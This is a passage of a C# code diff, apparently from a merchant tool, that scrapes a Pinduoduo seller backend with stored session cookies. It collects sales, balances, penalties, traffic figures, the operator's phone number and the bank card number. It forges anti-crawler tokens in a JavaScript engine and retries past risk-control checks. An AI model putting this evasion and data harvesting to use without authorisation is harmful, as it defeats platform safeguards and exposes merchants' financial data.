//第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + int AgainCount = 0; + Again: + if (html.Contains("Risk consult PASS")) + { + Thread.Sleep(3000); + data = "{\"crawlerInfo\":\"" + codext + "\" }"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (html.Contains("Risk consult PASS")&& AgainCount<5) + { + AgainCount++; + goto Again; + } + //今天成交额 + decimal todayNum = BaseRegex.GetDecimalJson(ref html, "curCfmOrdrAmt"); + decimal todayMount = todayNum; + + + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codext = jsEngine.CallFunction("aaa", "").ToString(); + } + url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":0,\"crawlerInfo\":\"" + codext + "\" }"; + + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + int YAgainCount = 0; + YAgain: + if (html.Contains("Risk consult PASS")) + { + Thread.Sleep(3000); + data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":0,\"crawlerInfo\":\"" + codext + "\" }"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (html.Contains("Risk consult PASS") && YAgainCount < 5) + { + YAgainCount++; + goto YAgain; + } + //昨天天成交金额 + decimal yesdayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt"); + + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codext = jsEngine.CallFunction("aaa", "").ToString(); + } + url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":1,\"crawlerInfo\":\"" + codext + "\" }"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + int SAgainCount = 0; + SAgain: + if (html.Contains("Risk consult PASS")) + { + Thread.Sleep(3000); + data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":1,\"crawlerInfo\":\"" + codext + "\" }"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (html.Contains("Risk consult PASS") && SAgainCount < 5) + { + SAgainCount++; + goto SAgain; + } + //7天成交金额 + decimal sevendayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt"); + + + //保证金 + url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + //保证金 + int freeBalance = BaseRegex.GetIntJson(ref html, "freeBalance"); + decimal freeBalanceMount = freeBalance / 100.0M; + + int threshold = BaseRegex.GetIntJson(ref html, "thresholdBalance"); + decimal thresholdMount = threshold / 100.0M ; + + url = "https://mms.pinduoduo.com/earth/api/mallPunishment"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + + + //惩罚店铺 + int level = BaseRegex.GetIntJson(ref html, "punishmentLevel"); + string punishment = string.Empty; + if (level == 1) + { + punishment = "一级惩罚"; + } + else if (level == 2) + { + punishment = "二级惩罚"; + } + else if (level == 3) + { + punishment = "三级惩罚"; + } + else + { + punishment = "无"; + } + + + + //罚款结束时间 + string punEndtime = BaseRegex.GetStringJson(ref html, "endTime");//购买时间 + + if (string.IsNullOrEmpty(punEndtime)) + { + punEndtime = "无"; + } + + url = "https://mms.pinduoduo.com/genji/bloodroot/mallPunishment/query/list"; + refere = "https://mms.pinduoduo.com/pg/violation_list"; + data = "{\"pageSize\":10,\"pageNum\":1}"; + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + //获取所有订单金额 + var punM = BaseRegex.GetMatchRegex(ref html, @"{""firstReasonId"":[\w\W]+?}"); + string punReason = ""; + int punstartTime = 0; + int punendTime = 0; + for (int i = 0; punM != null && i < punM.Count; i++) + { + string item = punM[i].Groups[0].Value; + int status = BaseRegex.GetIntJson(ref item, "status"); + if (status != 1) + continue; + punReason = BaseRegex.GetStringJson(ref item, "reason"); + punstartTime = BaseRegex.GetIntJson(ref item, "startTime"); + punendTime = BaseRegex.GetIntJson(ref item, "endTime"); + } + //提现金额 + url = "https://mms.pinduoduo.com/uranus/api/mall/balance"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + //提现金额 + decimal putAmount = BaseRegex.GetDecimalJson(ref html, "result") / 100; + + + //待到账资金 + url = "https://mms.pinduoduo.com/uranus/api/balance/cargoBalanceV2"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{}"; + //第一页匹配结果 + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); + //待到账资金 + decimal waitAmount = BaseRegex.GetDecimalJson(ref html, "result") / 100; + + + //用户手机号 + url = "https://mms.pinduoduo.com/earth/api/merchant/queryMerchantInfoByMallId"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + //用户手机号 + string operatorMobile = BaseRegex.GetStringJson(ref html, "operatorMobile"); + + //用户银行卡 + url = "https://mms.pinduoduo.com/earth/api/merchant/queryMallBankCard"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + //用户银行卡 + string accountCard = BaseRegex.GetStringJson(ref html, "accountCard"); + + + //驳回商品记录数 + url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + + int check_status = 3; + int length = 10; + int start = 1; + + data = "{\"start\":" + start + + ",\"length\":" + length + + ",\"check_status\":" + check_status + "}"; + + //第一页匹配结果 + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + //驳回商品记录数 + int totalCount = BaseRegex.GetIntJson(ref html, "total"); + + + + ////昨日订单量 + //url = "https://mms.pinduoduo.com/mars/shop/orderList"; + url = "https://mms.pinduoduo.com/mars/shop/recentOrderList"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + + //int confirmStartTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 00:00:00"))); + //int confirmEndTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 23:59:59"))); + //int isLucky = -1; + //string afterSaleType = "1"; + //int pageNumber = 1; + //int remarkStatus = -1; + //int pageSize = 30; + //string source = "MMS"; + ////{"orderType":1,"afterSaleType":1,"remarkStatus":-1,"groupStartTime":1562206464,"groupEndTime":1562292864,"pageNumber":1,"pageSize":20,"source":"MMS"} + ////data = "{\"confirmStartTime\":" + confirmStartTime + + //// ",\"confirmEndTime\":" + confirmEndTime + + //// ",\"isLucky\":" + isLucky + ",\"afterSaleType\":\"" + afterSaleType + + //// "\",\"pageNumber\":" + pageNumber + ",\"remarkStatus\":" + remarkStatus + + //// ",\"pageSize\":" + pageSize + ",\"source\":\"" + source + "\"}"; + ////{"orderType":0,"afterSaleType":0,"remarkStatus":-1,"groupStartTime":1562206833,"groupEndTime":1562293233,"pageNumber":1,"pageSize":20,"source":"MMS"} + + //data = "{\"orderType\":0,\"afterSaleType\":" + afterSaleType + ",\"remarkStatus\":" + remarkStatus + ",\"groupStartTime\":" + confirmStartTime + // + ",\"groupEndTime\":" + confirmEndTime + ",\"pageNumber\":" + pageNumber + ",\"pageSize\":" + pageSize + ",\"source\":\"MMS\"}"; + + ////第一页匹配结果 + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, UploadPinduoduoMain.AntiContent); + ////昨日订单量 + //int totalItemNumx = BaseRegex.GetIntJson(ref html, "totalItemNum"); + + + + ////30天订单量 + //url = "https://mms.pinduoduo.com/mars/shop/recentOrderList"; + //refere = "https://mms.pinduoduo.com/Pdd.html"; + + //confirmStartTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00"))); + //confirmEndTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 23:59:59"))); + //isLucky = -1; + //afterSaleType = "1"; + //pageNumber = 1; + //remarkStatus = -1; + //pageSize = 50; + //source = "MMS"; + //data = "{\"orderType\":0,\"afterSaleType\":"+ afterSaleType + ",\"remarkStatus\":" + remarkStatus + ",\"groupStartTime\":" + confirmStartTime + // + ",\"groupEndTime\":" + confirmEndTime + ",\"pageNumber\":" + pageNumber + ",\"pageSize\":" + pageSize + ",\"source\":\"MMS\"}"; + ////data = "{\"confirmStartTime\":" + confirmStartTime + + //// ",\"confirmEndTime\":" + confirmEndTime + + //// ",\"isLucky\":" + isLucky + ",\"afterSaleType\":\"" + afterSaleType + + //// "\",\"pageNumber\":" + pageNumber + ",\"remarkStatus\":" + remarkStatus + + //// ",\"pageSize\":" + pageSize + ",\"source\":\"" + source + "\"}"; + + ////第一页匹配结果 + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, UploadPinduoduoMain.AntiContent); + ////30天订单量 + //int totalThirItemNum = BaseRegex.GetIntJson(ref html, "totalItemNum"); + + + //物流异常 + url = "https://mms.pinduoduo.com/rohan/api/rohan/mall/logistics/complaint/detail"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + + string cplt_date = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd"); + int offset = 0; + length = 10; + + data = "{\"cplt_date\":\"" + cplt_date + + "\",\"length\":" + length + + ",\"offset\":" + offset + "}"; + + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + //物流异常 + int totalWuLiuCount = BaseRegex.GetIntJson(ref html, "total"); + + decimal playAmount = 0m; + url = "https://mms.pinduoduo.com/mercury/play_money/list"; + refere = "https://mms.pinduoduo.com/aftersales/micro_transfer?type=1"; + int beginTimex = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00"))); + int endTimex = BaseClass.GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59"))); + data = "{\"startTime\":" + beginTimex + ",\"endTime\":" + endTimex + ",\"offset\":0,\"pageSize\":10}"; + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + var playsm = BaseRegex.GetMatchRegex(ref html, @"{""playMoneyAmount"":[^}]+}"); + for (int i = 0; playsm != null && i < playsm.Count; i++) + { + string orderItem = playsm[i].Groups[0].Value; + int amount = BaseRegex.GetIntJson(ref orderItem, "playMoneyAmount"); + playAmount = playAmount + amount / 100; + } + + #region 历史罚款记录 + //延迟发货 {"classList":[],"groupType":0,"beginTime":1533657600,"endTime":1534435200,"offset":0,"limit":20,"mallId":807021} + url = "https://mms.pinduoduo.com/uranus/api/bill/queryBillStatistics"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + int beginTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd 00:00:00"))); + int endTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59"))); + offset = 0; + int limit = 20; + int mallId = Shop.MallId; + data = "{\"beginTime\":" + beginTime + + ",\"endTime\":" + endTime + + ",\"groupType\":0,\"classList\":[],\"limit\":" + limit + + ",\"offset\":" + offset + ",\"mallId\":" + mallId + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + int reusltTotal = BaseRegex.GetIntJson(ref html, "totalNumber"); + + + url = "https://mms.pinduoduo.com/uranus/api/bill/queryUserDefinedBill"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + decimal sumAmount = 0M; + + int page = reusltTotal / 20 + (reusltTotal % 20 > 0 ? 1 : 0); + for (int n = 1; n <= page; n++) + { + //非第一页匹配结果 + if (n != 1) + { + data = "{\"beginTime\":" + beginTime + + ",\"endTime\":" + endTime + + ",\"groupType\":0,\"classList\":[],\"limit\":" + limit + + ",\"offset\":" + (n - 1) * 20 + ",\"mallId\":" + mallId + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + + //获取所有订单金额 + var ordersm = BaseRegex.GetMatchRegex(ref html, @"{[^}]+""orderSn"":[^}]+}"); + for (int i = 0; ordersm != null && i < ordersm.Count; i++) + { + string orderItem = ordersm[i].Groups[0].Value; + int type = BaseRegex.GetIntJson(ref orderItem, "type"); + if (type != 101) + { + continue; + } + int amount = BaseRegex.GetIntJson(ref orderItem, "amount"); + sumAmount = sumAmount + amount / 100; + } + } + + + long cbeginTime = GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00"))); + long cendTime = GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59"))); + url = "https://mms.pinduoduo.com/genji/poppy/overtimeShipment/query/chargeList"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"endTime\":"+ cendTime + ",\"orderSn\":\"\",\"pageNum\":1,\"pageSize\":10,\"startTime\":"+ cbeginTime + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + decimal sumChareAmount = 0M; + int total = BaseRegex.GetIntJson(ref html, "total"); + page = total / 10 + (total % 10 > 0 ? 1 : 0); + for (int n = 1; n <= page; n++) + { + //非第一页匹配结果 + if (n != 1) + { + data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":"+n+",\"pageSize\":10,\"startTime\":" + cbeginTime + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + //获取所有订单金额 + var ordersm = BaseRegex.GetMatchRegex(ref html, @"{""orderSn"":[^}]+}"); + for (int i = 0; ordersm != null && i < ordersm.Count; i++) + { + string orderItem = ordersm[i].Groups[0].Value; + decimal amount = BaseRegex.GetDecimalJson(ref orderItem, "chargeAmount"); + sumChareAmount = sumChareAmount + amount; + } + } + cbeginTime = GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00"))); + cendTime = GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59"))); + url = "https://mms.pinduoduo.com/genji/poppy/stockout/query/stockoutList"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":1,\"pageSize\":10,\"startTime\":" + cbeginTime + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + decimal sumStockAmount = 0M; + total = BaseRegex.GetIntJson(ref html, "total"); + page = total / 10 + (total % 10 > 0 ? 1 : 0); + for (int n = 1; n <= page; n++) + { + //非第一页匹配结果 + if (n != 1) + { + data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":" + n + ",\"pageSize\":10,\"startTime\":" + cbeginTime + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + //获取所有订单金额 + var ordersm = BaseRegex.GetMatchRegex(ref html, @"{""confirmTime"":[^}]+}"); + for (int i = 0; ordersm != null && i < ordersm.Count; i++) + { + string orderItem = ordersm[i].Groups[0].Value; + int amount = BaseRegex.GetIntJson(ref orderItem, "couponAmount"); + sumStockAmount = sumStockAmount + amount/100M; + } + } + + //访问量 + //url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/overviewList"; + //refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + + //string endDate = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd"); + //string sevStartDate = DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd"); + //string startDate = DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd"); + + //data = "{\"endDate\":\"" + endDate + + // "\",\"startDate\":\"" + startDate + + // "\"}"; + + ////第一页匹配结果 + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + ////上架商品记录数 + //int lower66Count = BaseRegex.GetIntJson(ref html, "total"); + + //var mm = BaseRegex.GetMatchRegex(ref html, @"{\s*""avgGoodsUv"":[^\}]+?}"); + //int oneUVSum = 0; + //int onePVSum = 0; + //decimal oneVcrSum = 0; + //int sevUVSum = 0; + //int sevPVSum = 0; + //decimal sevVCRSum = 0; + //int thirtyUVSum = 0; + //int thirtyPVSum = 0; + //decimal thirtyVCRSum = 0; + //for (int j = 0; mm != null && j < mm.Count; j++) + //{ + // string item = mm[j].Groups[0].Value; + // string statDate = BaseRegex.GetStringJson(ref item, "statDate"); + // int goodsUv = BaseRegex.GetIntJson(ref item, "goodsUv"); + // int goodsPv = BaseRegex.GetIntJson(ref item, "goodsPv"); + // decimal goodsVcr = BaseRegex.GetDecimalJson(ref item, "goodsVcr"); + // if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(endDate)) + // { + // oneUVSum += goodsUv; + // onePVSum += goodsPv; + // oneVcrSum += goodsVcr; + // } + // if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(sevStartDate)) + // { + // sevUVSum += goodsUv; + // sevPVSum += goodsPv; + // sevVCRSum += goodsVcr; + // } + // if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(startDate)) + // { + // thirtyUVSum += goodsUv; + // thirtyPVSum += goodsPv; + // thirtyVCRSum += goodsVcr; + // } + //} + //sevVCRSum = sevVCRSum / 7; + //thirtyVCRSum = thirtyVCRSum / 30; + + int oneUVSum = 0; + int onePVSum = 0; + decimal oneVcrSum = 0M; + int sevUVSum = 0; + int sevPVSum = 0; + decimal sevVCRSum = 0M; + int thirtyUVSum = 0; + int thirtyPVSum = 0; + decimal thirtyVCRSum = 0M; + //if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + //{ + // string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js"; + // PinduoduoAuth.strContent = FileBase.ReadAllText(path); + //} + //string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + //string str = ""; + //for (int i = 0; i < 16; i++) + //{ + // str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + //} + //string strToken = str + "-" + strTime; + //string strNumber = ""; + //string temp2 = strTime + "," + strToken + "," + strNumber; + //string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber); + //string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + //string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js"; + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + + if (string.IsNullOrEmpty(NoCode)) + { + html = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref html, @"([\w\W]+?)-----"); + } + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + string strNumber = "https://mms.pinduoduo.com/latitude/auth/login"; + string fun2 = @"getEncode('" + strTime + "','" + NoCode + "','')"; + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + cookies = Shop.Cookies; + + + //昨天 + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + //url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView"; + //refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + //data = "{\"beginDate\":\""+ DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"endDate\":\""+ DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\""+ codex + "\"}"; + //data = "{\"queryType\":0,\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}"; + url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView"; + refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + data = "{\"queryType\":0,\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}"; + + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + onePVSum = BaseRegex.GetIntJson(ref html, "gpv"); + oneUVSum = BaseRegex.GetIntJson(ref html, "guv"); + oneVcrSum = BaseRegex.GetDecimalJson(ref html, "payUvRto"); + int totalItemNum= BaseRegex.GetIntJson(ref html, "payOrdrCnt"); + //url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList"; + //refere = "https://mms.pinduoduo.com/Pdd.html"; + //data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 1 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + //html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + //int allCount = BaseRegex.GetIntJson(ref html, "total"); + //page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + //for (int i = 1; i <= page; i++) + //{ + // if (i != 1) + // { + // data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 1 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + // html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + // } + // m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + // for (int j = 0; m != null && j < m.Count; j++) + // { + // string list = m[j].Groups[0].Value; + + // int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv"); + // int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv"); + // decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr"); + // oneUVSum += goodsUv; + // onePVSum += goodsPv; + // oneVcrSum += goodsVcr; + // } + //} + if (sevFlag) + { + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + //url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView"; + //refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + //data = "{\"beginDate\":\"" + DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}"; + url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView"; + refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + data = "{\"queryType\":1,\"queryDate\":\"\",\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + sevPVSum = BaseRegex.GetIntJson(ref html, "gpv"); + sevUVSum = BaseRegex.GetIntJson(ref html, "guv"); + sevVCRSum = BaseRegex.GetDecimalJson(ref html, "payUvRto"); + + + ////7天 + //url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList"; + //refere = "https://mms.pinduoduo.com/Pdd.html"; + //data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 7 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + //html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + //allCount = BaseRegex.GetIntJson(ref html, "total"); + //page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + //for (int i = 1; i <= page; i++) + //{ + // if (i != 1) + // { + // data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 7 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + // html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + // } + // m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + // for (int j = 0; m != null && j < m.Count; j++) + // { + // string list = m[j].Groups[0].Value; + + // int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv"); + // int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv"); + // decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr"); + // sevUVSum += goodsUv; + // sevPVSum += goodsPv; + // sevVCRSum += goodsVcr; + // } + //} + } + int totalThirItemNum = 0; + if (thirFlag) + { + + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + //url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView"; + //refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + //data = "{\"beginDate\":\"" + DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}"; + url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView"; + refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + data = "{\"queryType\":2,\"queryDate\":\"\",\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + thirtyPVSum = BaseRegex.GetIntJson(ref html, "gpv"); + thirtyUVSum = BaseRegex.GetIntJson(ref html, "guv"); + thirtyVCRSum = BaseRegex.GetDecimalJson(ref html, "payUvRto"); + totalThirItemNum = BaseRegex.GetIntJson(ref html, "payOrdrCnt"); + + ////30天 + //url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList"; + //refere = "https://mms.pinduoduo.com/Pdd.html"; + //data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 30 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + //html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + //allCount = BaseRegex.GetIntJson(ref html, "total"); + //page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + //for (int i = 1; i <= page; i++) + //{ + // if (i != 1) + // { + // data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 30 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + // html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + // } + // m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + // for (int j = 0; m != null && j < m.Count; j++) + // { + // string list = m[j].Groups[0].Value; + // int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv"); + // int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv"); + // decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr"); + // thirtyUVSum += goodsUv; + // thirtyPVSum += goodsPv; + // thirtyVCRSum += goodsVcr; + // } + //} + } + //sevVCRSum = sevVCRSum / 7; + //thirtyVCRSum = thirtyVCRSum / 30; + + #endregion + + ShopDetail shopDetail = new ShopDetail(); + shopDetail.userName 